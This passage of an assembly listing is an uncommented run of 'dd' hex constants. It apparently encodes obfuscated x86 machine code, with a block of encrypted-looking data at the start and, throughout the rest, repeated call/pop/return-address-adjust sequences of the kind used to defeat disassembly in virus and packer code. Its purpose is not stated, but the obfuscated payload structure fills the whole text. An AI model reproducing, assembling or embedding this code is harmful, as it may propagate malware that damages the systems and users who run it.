0A414DDEEh, 73D62512h dd 1A80750Eh, 3934220Eh, 9045E151h, 98090672h, 282064Ah dd 5E43220Eh, 5D90E159h, 0E2E72EB1h, 0AE67FB3Eh, 0EDB1AFFCh dd 0F11C287Eh, 190D221Ch, 0CB771F86h, 7C86396h, 0CAED8056h dd 0A448C29h, 0A45B90EFh, 1F33294Fh, 73CADD50h, 1AE5740Eh dd 3986220Eh, 901DE150h, 98A5067Ah, 5D4064Ah, 5F68220Eh dd 6769E158h, 0C8E44913h, 0F06207D7h, 1986221Ch, 63764E36h dd 2D6EFF8h, 869A4967h dd 0B97FFD0Fh, 9CBDD4BFh, 1F1D3F2Fh, 5AB2E0B7h, 0B803AF5Ch dd 494528ACh, 7F0E956Eh, 90B1E985h, 1902060Ah, 1937CA58h dd 473A220Eh, 6D847CCDh, 5D07262Ah, 1956262Ah, 4FE7220Eh dd 7FF8ECCDh, 0F1F5C38Fh, 0D98B2D6Eh, 0BB3B787h, 0E66C2409h dd 1EA5D39Bh, 17CF2D08h, 79A1220Eh, 3711AF85h, 84E32409h dd 1F330B3Bh, 73C2A96Fh, 1AE5700Eh, 3986220Eh, 9019E154h dd 98A5065Ah, 0CD4064Ah, 5B68220Eh, 5562E15Ch, 507AF85h dd 9C802409h, 1F8C809Bh, 0F1112264h, 19A1220Dh, 4313782Eh dd 1D4C7687h, 1D10668Fh, 191A221Bh, 16CE704Ch, 680B2127h dd 8945251Fh, 19A12AE6h, 0C178FF0Eh, 0C5808BA1h, 75C79BB7h dd 4943599Bh, 739DD385h, 1A6E770Eh, 3943220Eh, 90FCE153h dd 98D40662h, 36C064Ah, 5C34220Eh, 284BE15Bh, 3AC9616Ah dd 84AD4255h, 1F440EFBh, 92C0EC85h, 1EC22F9Bh, 197ACB08h dd 4C5D220Eh, 0EB40070Ch, 0CCF53BC9h, 0E8DAC852h, 5E09E14Dh dd 4969A89Dh, 19D9CB58h, 673B220Eh, 4B78B135h, 43B49CB9h dd 4B0D489Dh, 198621E6h, 0DA19020Eh, 3DF5AB54h, 3D94A30Ah dd 1968380Ah, 0DA66600Eh, 78370CF1h, 0E6C34134h, 1EB6779Bh dd 4A434808h, 19A121E6h, 0DA8B020Eh, 3D34AB55h, 3D70A30Ah dd 191A3A0Ah, 0DA5E610Eh, 37043CFBh, 2EA4A394h, 0E1B66766h dd 1B1A787h, 0ACE32409h, 1F332F27h, 10FA7C9h, 19022409h dd 0A40F220Eh, 1F441297h, 1C0B7F1h, 9C592409h, 1F6F2BC3h dd 2A1DA787h, 19702409h, 190ECA58h, 47A6220Eh, 6DCA7CCDh dd 5D20262Ah, 19C4262Ah, 4F2E220Eh, 9CBFB5CDh, 1F1D39D3h dd 0AC3EBF83h, 5A0F2404h, 0B0FEAF0Fh, 94A72518h, 13652FBBh dd 195B9B08h, 0BDC7220Eh, 19A211E5h, 120D220Eh, 0DB8556CEh dd 5DC82216h, 0F1F22E2Ah, 19D0220Eh, 0EABA355h, 9034220Eh dd 900A0652h, 4219064Ah, 862615B6h, 92A3DD0Eh, 0E6A5064Ah dd 1A6944EEh, 49684816h, 193421E6h, 0DA42020Eh, 3D49AB56h dd 3DC2A30Ah, 1943340Ah, 0DAF1620Eh, 16511801h, 1809D4B9h dd 1E153393h, 8CA7AF08h, 940B28ACh, 1333AA83h, 0B2769A08h dd 9C92BA28h, 1FD7025Bh, 2779ED25h, 9099DB7h, 3DD9E324h dd 931B9AFh, 1FA49924h, 0E1F0A20h, 0B39A8F57h, 5E98347h dd 0D98BA4F3h, 4D9BD89h, 3CE90607h, 60000000h, 53D68B66h dd 5AD8B70Fh, 81606161h, 12D79DD8h, 8B66606Dh, 0ABF681F9h dd 61364EFFh, 6AC361h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8BFD8CC3h, 0BD83F8C0h, 6070211h dd 83097500h, 70D65BDh, 19740006h, 0C08B5350h, 4B9B8h dd 0A9858900h, 8D060723h, 9AB0F9Dh, 5BD3FF06h, 65BD8358h dd 6070Dh, 53501774h, 4B9B8h, 0A9858900h, 8D060723h, 9A7B09Dh dd 5BD3FF06h, 18F0F58h, 0F8000000h, 168D0FFCh, 0E9000000h dd 11h, 0CBBA4332h, 0F827CD26h, 0B4BE1DA3h, 158895D7h dd 0FC08B32h, 1588h, 10E900h, 561D0000h, 0B841274Ch, 1120D9D2h dd 0B1979F30h, 8B40F623h, 57006AC1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 39B589F4h dd 0EB060733h, 4, 6AF800h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8D66E1C3h, 72C6185h dd 5090FC06h, 48E0Fh, 0BE660000h, 8B90F98Ah, 718E9B5h dd 0F006A06h, 6AF1BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 72C35242h, 0EB4883F0h, 0B832858Dh, 8D89060Ah dd 6070349h, 2905C083h, 721499Dh, 8B669006h, 820F50FAh dd 2, 6A905E53h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 27C6C353h, 0AD17D681h, 6A5699h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 19C35040h dd 63264988h, 6A006A9Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0A4F8C353h, 0E1089A73h dd 9758BE19h, 95FF5B3Fh, 6071335h, 2179BD8Bh, 0BD8B0607h dd 6070EC9h, 939D9D8Dh, 6A060Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 878C65C3h, 5C5A07BAh dd 8B856741h, 71A79BDh, 6AD3FF06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0E597C355h dd 1E159D89h, 0FFF80607h, 72C8985h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0DA20BCFEh dd 50CD705Eh, 1C41B58Bh, 0E95E0607h, 6FBh, 0E8h, 0ED815D00h dd 60AB83Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 13C35343h, 65B58BA2h, 0F060713h, 0BD81FEBFh, 6071815h dd 7D0h, 11F860Fh, 0CE810000h, 6DDF9A77h, 63C2BE66h, 2099D8Bh dd 820F0607h, 6, 0A49B589h, 0E3810607h, 100h, 12E5BD2Bh dd 8E90607h, 34000000h, 0B679776Bh, 0BA6275Bh, 9B850FDBh dd 0F000000h, 0BD83FFBFh, 60AB6A4h, 34840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 628C356h, 2D31BD8Bh, 8DE90607h, 0F000000h dd 688h, 0D18D8900h, 0C706072Ch, 0AB6A485h, 106h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 353B0884h, 9E835E7Fh, 4DE9DED6h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 6111C351h, 6AEFB476h, 85C7EBBEh, 60AB6A4h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 77C35747h dd 0CACFE8E2h, 2099D8Dh, 23810607h, 0FFFFFEFFh, 0A2DF8166h dd 6840F3Eh, 89000000h, 71DE595h, 0DB8C6606h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4CC35646h, 89BCDB1Eh dd 71DA9B5h, 6870F06h, 89000000h, 72E9995h, 4C3F606h, 3B840Fh dd 8D010000h, 6073141h, 186195FFh, 6A0607h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 269065C3h dd 0B9A0C34h, 50F08B08h, 8B240489h, 70141BDh, 3F0E906h dd 85890000h, 6072EDDh, 0B58B00B0h, 6070A05h, 0FE970E6h dd 98000000h, 6EFA14E9h, 4A63561Ah, 0DC3DF5E7h, 71E4367Ch dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8CC35646h dd 0EA0CEA7h, 9BE51FDh, 5E1AA99Ch, 6AD8B60Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 7E99C351h, 49857C21h, 6BAh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0A50DFE6Fh dd 8BF1BF0Fh, 0F6BF0FC3h, 31D9509h, 0E8C10607h, 0DE904h dd 13D30000h, 0DC483E36h, 0D76E6199h, 3337349Fh, 70005B5h dd 0E2F76606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 85C35545h, 0D56DCBB7h, 19319589h, 0D82B0607h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D6C35343h, 50F6B70Fh dd 0F241C89h, 0B5FFF0BFh, 6071815h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0DFC35343h, 0B6DB48D3h, 736BC0E5h dd 6995FF33h, 6A06071Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0A9E8C352h, 0B1B8763h dd 70375B5h, 0B5858906h, 0B0060732h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0F1D1066Bh dd 0F18D89h, 8B660607h, 6A70E6FEh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0ADEBC355h dd 59BDAECEh, 0BE84Fh, 37330000h, 51640F48h, 141D9115h dd 3800F0Eh, 66000000h, 0E45EF28Bh, 6850F71h, 23000000h dd 72CA1BDh, 0F613C06h, 20583h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 191C3AE0h dd 0AF164777h, 0D8B60F67h, 2EAD9D01h, 6BA0607h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 51D6C356h, 5E5BD33h, 8B5F0607h, 56006AC3h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0E0D912BEh, 8B66A74Bh, 4E8C1F7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 6BC35545h, 0E0DC61B7h, 0FEBE8974h dd 891E67ADh, 718E985h, 0E2F76606h, 0A2F78156h, 5E62434Eh dd 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 411DECC3h, 0BE661856h, 0FA8B4992h, 5B58958h dd 2B06071Eh, 17880FD8h, 0E9000001h, 12h, 0A5B41433h, 3AF8680Eh dd 0CAE478C4h, 54E352E0h, 7B9AB9Fh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 367EC353h, 0C183F3h, 118788BEh, 0FD93B4Ch, 0CD86h, 4BF6600h dd 0D98C6672h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 8CC35040h, 3124C717h, 4AC833C1h, 8D9D895Eh, 0F6060705h dd 840F04C1h, 88h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 15C35545h, 49B4C8ADh, 7672E0AAh, 6195FF87h dd 6A060718h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 5BF1C356h, 2FC5B58Bh, 0BD330607h dd 6070CB9h, 6AC32Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 4C4295C3h, 3D5510F3h, 834h, 6860Fh dd 0BE90000h, 0F9000000h, 8957C08Bh, 70D11B5h, 0C38B5F06h dd 0B58BD88Bh, 607172Dh, 1C9185C7h, 0C5590607h, 6A7E29h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 498F2CC3h, 0DDB15E3h, 0C08B03C0h, 9EF68166h, 15BD8174h dd 0D0060718h, 0F000007h, 2285h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 1585FF9Ah dd 0FF060718h, 71815B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0E39DEFBDh, 8B858609h dd 6995FFF3h, 6606071Bh, 9C6EEE81h, 0DD8BCE81h, 0B8904618h dd 12345678h, 5830Fh, 8BE0000h, 8D606EADh, 0ABEB29Dh, 0F96AE906h dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0A1A5A9C3h, 0B982EBABh, 8E9ACA3h, 4E000000h dd 49E52995h, 60271A19h, 6699B660h, 0FB713BAh, 8Eh, 0BBDE8100h dd 61250815h, 9E9h, 6D29ED00h, 4AA5783Bh, 85894989h, 6071ABDh dd 0B58961F9h, 6071C05h, 8BF1B70Fh, 0DE957C1h, 0D4000000h dd 0CA1BC29Ch, 0B9F7247Dh, 9AC3134Eh, 4EB5Eh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 8922C350h, 0F224B2D1h, 958960A1h, 6070E1Dh dd 8762BE66h, 1E8D0F61h, 0F000000h, 1882h, 12E800h, 8A5A0000h dd 701E336Fh, 27DB770Dh, 0CDCFE126h, 0FF980036h, 61858D5Eh dd 6A06072Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0E771C357h, 8BC211A2h, 71235BDh dd 5B58B06h, 9006070Eh, 870Fh, 66500000h, 90E410BFh, 0D6D8D89h dd 6A0607h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 2C35141h, 0B2E211C2h, 0AE99D17h, 2C000000h, 0A19A0288h dd 0A97D4192h, 66006A6Eh, 0AD07C781h, 0C1A4858Dh, 6A060Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 40E43EC3h, 0B70FB6EEh, 81B523F2h, 8306071Eh, 6A05C0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 4C2201C3h, 16831653h, 30499529h, 50900607h, 0CE952h dd 5DF30000h, 470679A7h, 744FB07Fh, 310F019Eh, 908BBE66h dd 9050585Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 10C35747h, 0E3781947h, 59BB3D3Ah, 39B58BADh, 6A06072Fh dd 19958900h, 6A060721h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 8406BF1Ah, 95FF0BBEh dd 6071335h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0C3C35242h, 0FD8E82BEh, 668F8592h, 0F029C781h dd 939D9D8Dh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0FF36A4C3h, 55006AD3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h dd 478A229Fh, 0DE9BDF3h, 6C000000h, 26FFB6A5h, 0AF174449h dd 5BA2C1DEh, 85FFF78Bh, 6072C89h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0D5C35242h, 816632ECh, 314380F7h dd 70EE9BDh, 0E0BE906h, 0E80000h, 5D000000h, 0C1AEED81h dd 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 824FAEC3h, 6965B035h, 2CC071BEh, 15BD8115h dd 0D0060718h, 0F000007h, 11286h, 0A0BF6600h, 0ED9D8BF4h dd 6A060719h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 81F5C351h, 100E3h, 9E900h, 0ADBE0000h dd 0FAC19E3h, 0B4CD498h, 7D850FDBh, 66000000h, 7EF2DE81h dd 0BD83F98Bh, 60ABF4Ah, 2E840F00h, 8B000000h, 715F1B5h dd 6AE906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 66DA93C3h, 3BBCF781h, 4A85C7F8h dd 1060ABFh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0A64DC353h, 909BC5Dh dd 701318Dh, 12E906h, 0B58B0000h, 60703C9h, 0BF4A85C7h dd 60Ah, 5F570000h, 19ED9D8Dh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 8F5594C3h dd 78D56CD8h, 8E9h, 0CD1B9B00h, 0E290214Ah, 79B5893Bh dd 81060731h, 0FFFEFF23h, 0FFDF81FFh, 66719BE2h, 6ADB8Ch dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 51640FC3h, 0F04C3F6h, 2884h, 6195FF00h, 0F5060718h dd 60536050h, 66605F61h, 0DE9D88Bh, 0C0000000h, 72797BA4h dd 5491DAF5h, 6AF6D185h, 4896161h, 450E924h, 0BD890000h dd 6071435h, 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 826611C3h, 0DC4D84A6h, 6A70E6h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0D3B71DC3h, 5D3EC5E0h, 85014004h, 6071785h, 6800Fh dd 0B58B0000h, 60727F5h, 6A71E4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0ADA95AC3h, 95319E14h dd 6072731h, 0E8D8B60Fh, 8, 0F476A196h, 7AD9A86h, 58B0Fh dd 81660000h, 5F7CFACFh, 6BAh, 58D8900h, 8B06070Bh, 4E8C1C3h dd 0E2F766F8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 1AC35646h, 4AD4EE4Eh, 0BD230722h, 6071601h, 2CF5BD8Bh dd 0D82B0607h, 0CE9h, 0B1535D00h, 0B8EB4987h, 7F77414Ch dd 34A5BE60h, 66937FB3h, 8B50FE8Bh, 8D2993F2h, 60703C9h dd 1815B5FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 78C43AC3h, 52E0CAE4h, 852954E3h dd 6070AA1h, 1B6995FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 815648C3h, 76340042h dd 0BD0B5001h, 6071535h, 8E900B0h, 84000000h, 73620118h dd 0E94AF898h, 9, 0D68543B3h, 55F9F58Bh, 6A70E612h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 1C0EC352h, 0A22D29ADh, 0FF28B66h, 8166F9BFh, 0E44269DFh dd 0F613C71h, 28D83h, 159D8900h, 0F060715h, 6AD8B6h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 1A606BC3h, 0DD851848h, 65BD89AAh, 0BA060715h, 6, 0CE860h dd 0E6510000h, 9EF94CB0h, 0FFD439CCh, 8A0FE6B4h, 0 dd 8B61F558h, 5E8C3h, 3E860000h, 525FDD98h, 5E5EF88Bh dd 45952360h, 0BB060731h, 5ED10F2Bh, 4E8C161h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7C35242h, 6698C3D9h dd 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0D82B3FC3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 3AC35343h, 553C4225h, 858D29C7h, 5806071Dh dd 880FD82Bh, 1AAh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0C6C35141h, 3A8F4756h, 3099BD8Bh, 7B90607h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 8606C351h, 12492C34h, 0F09980Ah dd 686h, 3D853100h, 8B060702h, 705EDB5h, 0A58D8906h, 8306070Eh dd 0F5600C1h, 689h, 19B52B00h, 5E060710h, 860FD93Bh, 12Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E1C35343h dd 0D2C97D21h, 0DB460C40h, 9E8h, 114A9D00h, 0F8C9B33Ah dd 8E8D2E5h, 0C8000000h, 762E260Ah, 5F06ED4Bh, 0D98C665Fh dd 0C459589h, 0C1F60607h, 0C4840F04h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 83C4C350h, 7A625EFCh, 0FFF08B66h, 7186195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 9A1530Dh, 30BC6E84h, 0FA8B5B90h, 800FC32Bh, 1, 8343DFCh dd 860F0000h, 5Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 83C35242h, 362662D2h, 0E681302Bh, 1829FE16h dd 0CA59D89h, 3FE90607h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 39E7C351h dd 2D7A322Dh, 6071B135h, 32C99D01h, 8B610607h, 5E8C0h dd 2A7C0000h, 89C816B6h, 731D19Dh, 0C38B5F06h, 6AD88Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 935B82C3h, 9D8D896Ch, 8906072Eh, 704C585h, 985C706h dd 0F5060702h, 6A1BE945h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 6B7DC352h, 302A4E9Eh dd 2BB7659Eh, 8B57C08Bh, 70A65BDh, 0BD815E06h, 6071815h dd 7D0h, 34850Fh, 0BD8B0000h, 6071CB9h, 2D89B589h, 85FF0607h dd 6071815h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 7CC35545h, 76595286h, 0B5FF5D5Ch, 6071815h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 9EC35040h, 891B9E2Eh dd 731E1B5h, 6995FF06h, 6A06071Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0D72C355h dd 0A5A902F1h, 0DE94090h, 4C000000h, 0E82B4E01h, 0AC69E27Eh dd 0BEC1CFFh, 1885BD83h, 0F000607h, 11C84h, 0A5BD8B00h dd 66060704h, 83DBE7BFh, 70E25BDh, 840F0006h, 105h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E1C35040h, 477A0C94h dd 598501E3h, 8B060719h, 715F1B5h, 8595FF06h, 6A060718h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0FA9C351h, 0BD0BFFB7h, 6070369h, 2DD9B58Bh dd 0C00B0607h, 9F840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 736184C3h, 880F1DC1h dd 0Ch, 68F0Fh, 8D290000h, 60720D1h, 4B4A8D8Dh, 6A0607h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 12BC30C3h, 0AF78557Fh, 0B8F8B70Fh, 5, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0E1C35545h, 13E9h dd 0D7ABED00h, 0A765CED2h, 9DD4A71h, 7039F0C8h, 6819171Eh dd 31E1FFFCh, 72F39BDh, 0E1BD8306h, 60715h, 5A0840Fh, 8D010000h dd 6070B3Dh, 0E25BD83h, 0F000607h, 58D84h, 3D8D8D00h, 0F060703h dd 38Ch, 0F1BF0F00h, 7C8401C7h, 5E944B2h, 5A000000h, 0FAD0B85Fh dd 0CFCB0181h, 860F1499h, 6, 1A41BD8Bh, 41C70607h, 706B3404h dd 0CE8CEh, 0A3B0000h, 99D4D57h, 2C9ED988h, 850FD7FBh dd 0 dd 441815Fh, 31D6D710h, 1E1DB52Bh, 6A0607h, 2021BD8Bh dd 8B0F0607h, 8, 2880Fh, 5E510000h, 33D858Dh, 850F0607h dd 6, 1B359D89h, 66900607h, 50DF96BEh, 48AEA0BFh, 6A9047h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0B90DCAC3h, 3CF005E4h, 7BC78163h, 0FF74A874h, 715E195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 6679CC5Eh, 8DBEBEBFh, 7033D8Dh, 6E7DBE06h dd 1C77170h, 0 dd 0F3B70F53h, 441C75Fh, 0 dd 840FC00Bh, 32h, 8D8DF28Bh, 6074B4Ah, 14E8h, 13C500h dd 332BA79Fh, 2187991Ah, 3DDBA52Bh, 0DDAF2CD2h, 0A9B52B1Ch dd 5E06071Bh, 5B8h, 0F78B6600h, 8D8DE1FFh, 607033Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 37C35040h, 0F0B3D3F8h dd 0C7A552FAh, 0AA727C01h, 56006A44h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 6678F3B4h dd 18B0DE81h, 0CFCB0181h, 0B5011499h, 607131Dh, 3C0441C7h dd 52CE7875h, 7F94DF81h, 815E5B41h, 0D7100441h, 6A31D6h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 90F8AEC3h, 6A0FDA53h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 9585A06Bh, 89187CBEh dd 27099589h, 0EE90607h, 63000000h, 0AE566FA7h, 0B65CE155h dd 0E4738EE0h, 3D858D27h, 89060703h, 72635BDh, 8E906h dd 0C1300000h, 0BA8B0DBCh, 0E990B3C3h, 8, 0F421063Bh, 0DC61B76Bh dd 0FE950h, 97E80000h, 0FFD95B40h, 86E56423h, 969CE869h dd 0B50390B4h, 6072D7Dh, 15E195FFh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F36A3C3h dd 8D8DFAB7h, 607033Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 66C35646h, 83F7B5BFh, 1C714h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0A6D1C352h, 0D61E61A9h, 0E68545Eh, 29658589h dd 0B70F0607h, 441C7F1h, 0 dd 20DB523h, 0C00B0607h, 65840Fh, 9D890000h, 60721A9h dd 4B4A8D8Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0E0A20C3h, 30D41C87h, 8B66DD18h dd 5B8F7h, 0F98B0000h, 6AE1FFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0EA73F4C3h, 1CF5E469h dd 0A9BD29E2h, 8D060711h, 7033D8Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0B4480660h dd 1C77BC9h, 54CA95A5h, 38A0Fh, 0B70F0000h, 0CB0181FAh dd 6A1499CFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 6D1C351h, 98287F6Fh, 8589F38Bh dd 60730A1h, 690441C7h, 0E9CE5F59h, 10h, 0DA4C7B69h, 5237EDE2h dd 0A0C4A2A0h, 40D9B2E4h, 10044181h, 5031D6D7h, 12C5BD8Bh dd 6A5F0607h, 6E900h, 0EC70000h, 0BCA117Ah, 33D858Dh, 8B520607h dd 72FA5BDh, 50905E06h, 830F52h, 0F000000h, 0EE86031h dd 52000000h, 54CEF342h, 6C27F118h, 5A33EB9Ah, 0CE95FB0h dd 22000000h, 54680A82h, 5E153C82h, 616B64D9h, 0E850585Ah dd 6, 2EF6FD4Ah, 0BF66AC86h, 905E7737h, 1E059D89h, 95FF0607h dd 60715E1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 38C35040h, 0E9786F89h, 73A4D681h, 8D8D66A9h, 607033Dh dd 6830Fh, 0BD330000h, 6071229h, 1C7F18Bh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2EC35747h dd 0B6035D37h, 4179F87Dh, 441C79Ah, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 86C35242h dd 0F56EEF38h, 0B8E8BF66h, 840FC00Bh, 0AEh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0ECC35040h, 0B96D6719h dd 0F7816C04h, 11DE021Fh, 15E59589h, 8D8D0607h, 6074B4Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 45C35646h dd 0B57158A3h, 0EBF663Fh, 0C1858934h, 0B806070Eh, 5, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0FC35343h, 8DCB9769h dd 0C9B52361h, 0FF06070Eh, 56006AE1h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 9F890832h dd 0CA0371B6h, 0FFF215E9h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 8B3F7317h dd 89C18BF9h, 7269D85h, 4EB06h, 0E8000000h, 0Ah, 31FC8C4Ch dd 8B33CAA9h, 0B58B5070h, 60701EDh, 2213BE5Eh, 858D5846h dd 6072C61h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 25C35747h, 0CAA36F3Ah, 0B58B22F5h, 6073171h, 11E890h dd 4EA60000h, 8DE8B002h, 387CDE90h, 27357395h, 661A53D0h dd 5E595CBEh, 